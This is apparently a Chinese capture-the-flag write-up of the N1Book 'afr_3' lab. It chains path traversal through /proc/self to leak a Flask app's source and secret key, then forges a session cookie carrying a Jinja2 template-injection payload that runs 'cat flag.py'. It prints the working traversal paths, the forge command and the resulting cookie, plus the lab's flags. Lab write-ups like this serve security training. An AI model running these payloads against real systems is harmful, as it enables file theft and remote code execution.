漏洞名称 | 任意文件读取漏洞 afr_3 |
漏洞类型 | 文件读取/包含 |
漏洞等级 | ⭐⭐⭐⭐⭐ |
漏洞环境 | docker |
攻击方式 |
高危
暂无
靶场 | docker |
工具 | BurpSuite |
1.创建docker-compose.yml文件
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
ports:
- 5000:5000
2.将该代码写入文件
启动方式
docker-compose up -d
flag
n1book{afr_1_solved}
关闭
sudo docker-compose down
3.访问kali 5000端口
搭建成功
没有发现有用东西
根据引导进入article,熟悉的参数出来了,name=aiticle
查看flag
失败了
尝试使用php://fileter 读取
?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]
也失败了。
看了大神的讲解,我觉得应该能想到,因为现在的信息就是已经可以正常包含/etc/目录下的文件(passwd),那么/proc/目录下的也应该能包含
/proc/
里面含有很多的进程信息,比如/proc/3333,就是进程ID为3333的信息/proc/self/
这个就很魔幻了,因为进程ID是一直变得,我这里如果填了article=/proc/self/......,那么就是article相关的进程,也就是说这个self是谁用就是谁cmdline
启动当前进程的完成命令
cwd
当前进程的工作目录
访问,发现pythonserver.py,这里应该不是pythonserver.py文件,因为cmdline是启动当前进程的完成命令,那执行的命令应该是python server.py
article?name=../../../../../../proc/self/cmdline
article?name=../../../../../proc/self/cwd/server.py
拿到server.py的源码
- #!/usr/bin/python
- import os
- from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
- from flask_session import Session
-
- app = Flask(__name__)
- execfile('flag.py')#execfile() 函数可以用来执行一个文件。
- execfile('key.py')
- FLAG = flag
- app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])
-
-
- def n1page():
- if request.method != "POST":
- return redirect(url_for("index"))
- n1code = request.form.get("n1code") or None
- if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
- if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
- template = None
- if session[
- ''' %
代码中出现了,flag.py和key.py,分别包含一下这俩,在key.py中发现了一段关于key的代码
/article?name=../../../../../proc/self/cwd/flag.py
/article?name=../../../../../proc/self/cwd/key.py
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造flask的session,秘钥为Drmhze6EPcv0fN_81Bj-nA
下载脚本
git clone https://github.com/noraj/flask-session-cookie-manager
使用脚本编译
sudo python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
拿到伪造flask的session
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZVTSxw.EZGsAPNdMs8G5kxefOpGvPQMXoM
修改session值为刚刚得到的
拿到flag
flag = ‘n1book{afr_3_solved}’;
升级
打补丁
上设备